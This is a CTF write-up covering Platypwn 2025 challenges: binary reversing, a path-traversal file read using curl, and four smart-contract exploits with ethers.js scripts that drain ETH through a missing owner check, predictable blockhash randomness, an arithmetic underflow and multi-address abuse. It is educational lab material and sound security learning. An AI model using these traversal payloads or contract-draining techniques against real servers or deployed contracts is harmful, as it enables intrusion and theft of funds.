Platypwn CTF 2025 – Full Write-Up
A detailed, replicable walkthrough of all Platypwn CTF 2025 challenges I solved, including four blockchain challenges—my first real dive into smart contract exploitation.
Platypwn CTF 2025 – Full Write-Up
This post documents all challenges I solved in the Platypwn CTF 2025 event.
I focused heavily on the blockchain category—my first time ever attempting smart contract exploitation—and ended up solving all four blockchain challenges. With the help of ChatGPT, Google, Solidity references, and persistent debugging, I managed to drain, exploit, or break every contract thrown at me.
Below are the complete write-ups, with full technical detail preserved, formatted in the same style as my BrunnerCTF post.
Challenge: Password Check
Category: Reversing
Flag: PP{r3v3rs3_3ng1n33r1ng_1s_fun}
A compiled ELF binary prompts the user for a password. Upon providing the correct password, it prints the flag. The password and flag are hidden inside .rodata and constructed via XOR operations.
Steps Taken
Ran the binary to confirm behavior:
1 2 3 4
chmod +x password_check ./password_check test Wrong Password!
Reviewed the provided decompiled function. The password is computed via something equivalent to:
1
password[i] = DAT_00116580[i] ^ DAT_001165a0[i];
After validating the password, the program computes the flag via:
1
flag[i] = password[i] ^ DAT_00116560[i];
So overall:
1 2
password = A XOR B flag = password XOR K
where
A,B, andKare three 32-byte arrays in.rodata.Used
readelf -S password_checkto locate.rodataand confirm:.rodataVMA ≈0x16000- The decompiler’s addresses (
0x00116560,0x00116580,0x001165a0) are offset from a load base of0x00100000.
Computed file offsets:
1
file_offset = vaddr - 0x00100000
So:
0x00116560 → 0x165600x00116580 → 0x165800x001165a0 → 0x165a0
Wrote a Python script to extract and XOR the bytes:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
python3 - << 'EOF' import os bin_path = "password_check" with open(bin_path, "rb") as f: data = f.read() def get_bytes(addr): base = 0x100000 vma = addr - base return data[vma:vma+0x20] key = get_bytes(0x00116560) a = get_bytes(0x00116580) b = get_bytes(0x001165a0) password_bytes = bytes(x ^ y for x, y in zip(a, b)) flag_bytes = bytes(p ^ k for p, k in zip(password_bytes, key)) print("Password:", password_bytes.decode()) print("Flag:", flag_bytes.decode().strip("\x00")) EOF
Script output:
1 2
Password: th1s_1s_my_sup3r_s3cur3_p4ssw0rd Flag: PP{r3v3rs3_3ng1n33r1ng_1s_fun}
Verified by running the binary and entering the recovered password:
1 2 3 4
./password_check th1s_1s_my_sup3r_s3cur3_p4ssw0rd Password correct! Here is your flag: PP{r3v3rs3_3ng1n33r1ng_1s_fun}
Flag
PP{r3v3rs3_3ng1n33r1ng_1s_fun}
Challenge: fileserver
Category: Pwn
Flag 1: PP{h4_h4___c14551c::WtG8SYDjmSkG}
Flag 2: Not solved (I did not find the intended method during the event)
This challenge provides access to a minimal HTTP file server built in C. The description explains that:
- There is a warmup flag at
/home/app/flag. - A second flag can be obtained by somehow executing
/home/app/readflag.
Only HTTP access is provided.
Steps Taken
Confirmed the service was reachable at:
1
http://10.80.14.17:8080/
Browsed around and saw the glibc manual HTML files, confirming the theme that this was a “demo” fileserver.
Tested for directory traversal using
curlwith--path-as-isto avoid normalization of..segments:1
curl -v --path-as-is "http://10.80.14.17:8080/../../../../home/app/flag"
The server responded with:
1
PP{h4_h4___c14551c::WtG8SYDjmSkG}
which is the first flag.
Used the same approach to retrieve the
readflagbinary:1 2 3
curl --path-as-is \ "http://10.80.14.17:8080/../../../../home/app/readflag" -o readflag chmod +x readflag
Running it locally showed that it tried to open a protected file (e.g.,
/root/flag) which did not exist on my local machine, confirming it is intended to run in the challenge environment.To understand what options might be available from the HTTP side, I inspected the
fileserverbinary (downloaded separately in the challenge environment):Searched for obvious dangerous functions:
1
strings fileserver | egrep 'system|popen|execve|wordexp|posix_spawn'No direct hits.
Looked at imported symbols using
objdump/nm(or equivalent) and saw only file and directory related functions (e.g.,open,stat,fdopendir,readdir), plus networking and HTTP response building.
I then tried a number of common tricks to see if any unexpected behavior appeared:
- Accessing
/proc/self/fd/*over HTTP. - Using URL-encoded null bytes (
%00) in the path. - Using wildcard-like syntax to see if any globbing or shell expansion was occurring.
Mixing relative paths and traversal such as:
/path/../proc/self/fd/0- Deep traversal chains like
/../../../../../../../proc/1/fd/....
- Accessing
In all of my tests during the event, the server only behaved as a static file reader, and I did not find any way to trigger remote execution of
/home/app/readflagvia HTTP alone.It is important to be clear here: The challenge statement implies that there is a method to obtain a second flag, but with the time and approaches I used, I did not discover that method. My conclusion at the time of the CTF was simply that I personally had not yet found a working way to execute
readflagremotely, not that it was impossible.
Flag
Flag 1: PP{h4_h4___c14551c::WtG8SYDjmSkG}
Flag 2: Not solved (I did not find the intended technique during the event)
Challenge: Thanks
Category: Blockchain
Flag: PP{g1v3_m3_y0ur_m0n3y::U1Coy6p5bQDn}
A smart contract holds 100 ETH, and a setup contract considers the challenge solved when the target contract’s balance drops below 10 ETH. The key issue is that the withdraw function’s owner check has been commented out.
Steps Taken
Connected to the challenge spawner:
1
nc 10.80.14.81 31337
Selected
1to launch a new instance and noted:rpc endpoint: http://10.80.14.81:8545/<uuid>private key: <hex>your address: <player>setup contract: <address>
Examined
Chal.solandSetup.sol. The critical portion inChal.sol:function withdraw(uint256 amount) external { // require(msg.sender == owner, "Not owner"); payable(msg.sender).transfer(amount); }This allows any caller to withdraw any amount (up to the contract’s balance).
Initially tried to use ethers v6, but it failed with a JSON parsing / autodetection error when connecting to the custom RPC. To avoid fighting the library, I downgraded to ethers v5:
1 2
npm init -y npm install ethers@5
Wrote
solve.jsapproximately as:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
const { ethers } = require("ethers"); const RPC_URL = "http://10.80.14.81:8545/<uuid>"; const SETUP_ADDRESS = "<setup_address>"; const PRIVATE_KEY = "<private_key>"; const CHAIN_ID = 31337; async function main() { const provider = new ethers.providers.JsonRpcProvider( RPC_URL, { chainId: CHAIN_ID, name: "platypwn" } ); const wallet = new ethers.Wallet(PRIVATE_KEY, provider); console.log("Using address:", wallet.address); const setupAbi = [ "function TARGET() view returns (address)", "function isSolved() view returns (bool)" ]; const chalAbi = [ "function getBalance() external view returns (uint256)", "function withdraw(uint256 amount) external" ]; const setup = new ethers.Contract(SETUP_ADDRESS, setupAbi, wallet); const targetAddr = await setup.TARGET(); console.log("TARGET:", targetAddr); const chal = new ethers.Contract(targetAddr, chalAbi, wallet); const bal = await chal.getBalance(); console.log("Initial balance:", bal.toString()); const tx = await chal.withdraw(bal); console.log("Withdraw tx:", tx.hash); await tx.wait(); const newBal = await chal.getBalance(); console.log("New balance:", newBal.toString()); const solved = await setup.isSolved(); console.log("isSolved():", solved); } main().catch(console.error);
Ran the script, observed balance drained and
isSolved() = true.Returned to the spawner and chose option
3to retrieve the flag:1 2
nc 10.80.14.81 31337 3
Which returned:
1
PP{g1v3_m3_y0ur_m0n3y::U1Coy6p5bQDn}
Flag
PP{g1v3_m3_y0ur_m0n3y::U1Coy6p5bQDn}
Challenge: Coin Flip
Category: Blockchain
Flag: PP{1_c4n_533_y0ur_futur3::f371ePwviQ5n}
The contract implements a coin flip where the result is determined by:
if (uint256(blockhash(block.number - 1)) % 2 == 0) {
// player wins
}
Because the challenge uses a private dev chain (anvil-style) where each transaction mines a block, blockhash(block.number - 1) is predictable.
Steps Taken
Launched an instance via:
1
nc 10.80.14.94 31337
Recorded the per-instance RPC endpoint, private key, player address, and setup contract.
From the Solidity source:
MIN_BET~ 0.05 ETHMAX_BET= 5 ETH- Winning payout:
bet * 12 / 10(net +1 ETH for the player, −1 ETH for the contract) - The setup contract’s
isSolved()requires that the target contract’s balance be below 10 ETH, starting from 100 ETH.
Idea: Use blockhash parity to always bet only when we know it will be a winning flip. Rough sketch of the exploit:
- Query latest block number.
- Get
blockhash(number - 1)via JSON-RPC. If
(uint256(hash) % 2 == 0):- Call
flip()with5 ETH.
- Call
If odd:
- Send a dummy transaction (e.g., 0 ETH send back to ourselves) to advance the block and try again.
Wrote a Node.js script with ethers@5 to:
- Connect to the RPC.
- Loop over: get blockhash, check parity, either flip or “tick” the chain.
The private RPC would occasionally drop connections (
ECONNRESET, “missing response”), which caused the script to crash. However, every successful winning flip was permanently recorded on-chain, so re-running the script simply continued progress from the new balance.After enough iterations, the target contract balance dropped below 10 ETH and
setup.isSolved()returned true.Retrieved the flag with:
1 2
nc 10.80.14.94 31337 3
which returned:
1
PP{1_c4n_533_y0ur_futur3::f371ePwviQ5n}
Flag
PP{1_c4n_533_y0ur_futur3::f371ePwviQ5n}
Challenge: Unfair Trade
Category: Blockchain
Flag: PP{d1dn7_533m_7h47_unf41r_70_m3::NKFZ7f5JmTWz}
This challenge implements a “trade” function in Solidity 0.7.x (no automatic overflow/underflow checks). The function calculates a fee based on the contract’s pre-trade balance and the trade amount, then applies a maximum return cap of 150 ETH. With careful manipulation, we can create an underflow and exploit the cap.
Steps Taken
Launched an instance:
1
nc 10.80.14.108 31337
Noted the RPC endpoint, private key, player address, and setup contract.
From
Setup.sol:- The target (
Chal) is funded with 100 ETH upon setup. isSolved()requires the target’s balance to be less than 50 ETH.
- The target (
From
Chal.sol(simplified):function trade() external payable { uint256 amount = msg.value; require(amount >= 3 ether, "You must trade at least 3 ETH"); uint256 balanceBeforeDeposit = address(this).balance - msg.value; uint256 fee = (amount - 3 ether) * (balanceBeforeDeposit / 1 ether) * 6 / 1000; uint256 maximumReturn = 150 ether; uint256 outputAmount = amount * 9 / 10 - fee; if (outputAmount > maximumReturn) { outputAmount = maximumReturn; } payable(msg.sender).transfer(outputAmount); }Observations:
For
amount = 3 ETH:(amount - 3 ether) = 0, sofee = 0.outputAmount = amount * 9 / 10 = 2.7 ETH.- Contract gains
3 - 2.7 = 0.3 ETHper trade.
Repeating such trades “pumps” the contract’s balance upward.
Let
B0 = 100 ETH(initial balance), then afternpump trades of 3 ETH:1
B(n) = 100 ETH + 0.3 ETH * n
Because Solidity 0.7.x does not check for overflow or underflow, if
feebecomes larger thanamount * 9 / 10, then:1
outputAmount = 0.9*amount - fee
underflows and wraps around to a very large integer, which is then truncated by
maximumReturn:if (outputAmount > maximumReturn) { outputAmount = maximumReturn; // 150 ETH }The strategy:
- Perform enough 3-ETH pump trades to raise the contract balance to ~164.2 ETH.
Make one final trade with a carefully chosen
amount(35.2 ETH) such that:- The fee exceeds
0.9 * amount(triggering underflow). - The contract has enough to pay the capped
150 ETHoutput.
- The fee exceeds
After that final trade:
- Contract balance ≈ 49.4 ETH.
isSolved()returns true.
Because the RPC could disconnect mid-run, I wrote a resume-capable exploit:
It reads the contract’s current balance.
Infers how many pump trades have already been performed:
1 2
extra = balance - 100 ETH trades = extra / 0.3 ETH
Continues from that count up to 214 pump trades.
Then performs the final 35.2 ETH drain trade.
After running
solve.js, final state was:1 2
Chal balance: 49.4 ETH isSolved(): true
Retrieved flag using:
1 2
nc 10.80.14.108 31337 3
which returned:
1
PP{d1dn7_533m_7h47_unf41r_70_m3::NKFZ7f5JmTWz}
Flag
PP{d1dn7_533m_7h47_unf41r_70_m3::NKFZ7f5JmTWz}
Challenge: Rigged
Category: Blockchain
Flag: PP{u51ng_4n_4rmy_15_unf41r::8lwJaVgpcmwn}
This challenge is a casino contract with an off-chain Python RNG (casino_rng.py). The important detail is that the first three coin flips per address are guaranteed wins due to how the RNG code switches modes after games > 3.
Steps Taken
After launching an instance via the spawner and retrieving RPC / key / setup addresses, I read the provided
Chal.solandcasino_rng.py.In
Chal.sol, each bet incrementsgames[msg.sender]. The RNG backend receives (among other things) thegamesvalue and machine ID. For the coin flip machine (machine 1), the backend code looks like:1 2 3 4 5 6
if machine == 1: if games > 3: # biased mode ... else: r = secure_randint(1, 5) * 2 # returns 2,4,6,8,10 → always even
On-chain, the contract resolves outcomes like:
bool outcome = (random_1_to_10 % 2) == 0;So for the first three games per address, the player always wins.
Strategy:
- Keep the original provided address as a “bank” or controller.
In a loop:
- Generate a fresh EOA using
ethers.Wallet.createRandom(). - Fund this new address with
3 * maxBet + gas(for three max bets). - Have the new address call
playCoinFlipthree times with1 ETHeach. - Wait for the off-chain backend to settle each bet.
- Have the new address send the resulting ETH back to the controller, leaving a tiny gas reserve.
- Generate a fresh EOA using
- After each iteration, check the casino contract’s balance.
- Stop once the balance is below the threshold for
isSolved().
One subtle bug I hit:
- Initially, I stopped when the balance reached exactly 10 ETH.
- But the setup contract required strictly
< 10 ETH. - This meant I had to adjust the threshold to 9 ETH to force one additional guaranteed win and drop the balance to 9 ETH.
Final run output (simplified):
1 2 3 4
Initial Chal balance: 10.0 ETH ... Chal balance now: 9.0 ETH setup.isSolved() = true
Retrieved the flag via the spawner:
1 2
nc 10.80.14.142 31337 3
Which returned:
1
PP{u51ng_4n_4rmy_15_unf41r::8lwJaVgpcmwn}
Flag
PP{u51ng_4n_4rmy_15_unf41r::8lwJaVgpcmwn}
Challenge: A Window to the Past
Category: Crypto
Flag: Recovered during CTF, but not included here
This challenge provided a set of shredded image strips from a printed “encrypted note” that had been sent through a strip-cut shredder and then scanned. The job was to reconstruct the original page and read the resulting flag.
Steps Taken
- Downloaded all of the provided image snippets, which were narrow vertical slices of a larger image.
- Created a new large canvas in Microsoft Paint.
- Pasted each strip into the canvas as an object.
Manually aligned strips side-by-side by:
- Matching partial characters that crossed strip boundaries.
- Watching line spacing and baseline alignment.
- Following any graphical or border lines that spanned multiple strips.
- Gradually reconstructed the original document so that the text became readable across the strips.
- Once the strips were properly ordered and aligned, the clear text of the note (including the flag) was visible.
- During the live CTF, I read and submitted this flag successfully.
- After the event, I did not keep the reconstructed image or the raw strips locally, and I chose not to redo the entire reconstruction merely to copy the flag text into this write-up. Because of that, the exact flag is intentionally omitted here, even though it was obtained during competition.
Flag
Recovered successfully during the event, but intentionally not reproduced here in this retrospective.
Lessons Learned
Blockchain CTFs are approachable. Even with no prior smart contract exploitation background, it is possible to make progress quickly with:
- Contract source analysis
- Minimal Ethers.js scripts
- Careful reasoning around balances and state.
Authorization checks matter. A single commented-out
require(msg.sender == owner)can convert a controlled admin function into a full contract drain.Randomness based on
blockhash(block.number - 1)is predictable. In private dev chains that mine one block per transaction, you can often predict or control when a given blockhash parity will occur.Solidity 0.7.x arithmetic is dangerous. Without automatic overflow/underflow checks, “reasonable-looking” formulas can be exploited by pushing values outside expected ranges, especially when combined with caps like
maximumReturn.Per-address counters can be abused. Any logic that makes the first
Nactions per address “special” (free wins, easier RNG, bonuses) is likely exploitable if creating addresses is cheap and unmetered.Resume-friendly tooling pays off. Handling unstable RPC connections by designing scripts that can infer progress from on-chain state saves a lot of time in long-running attack flows.
Manual reconstruction is still valid in 2025. Forensics challenges that mimic physical shredding can sometimes be solved faster by manual alignment in a simple GUI tool than by trying to over-automate with computer vision.
Platypwn CTF 2025 ended up being one of the most educational and enjoyable CTFs I have played, particularly because the blockchain track pushed me into a new area I had not planned to explore yet.
Note: AI-assisted editing was used to improve grammar, clarity, and formatting. All technical content and opinions are original.
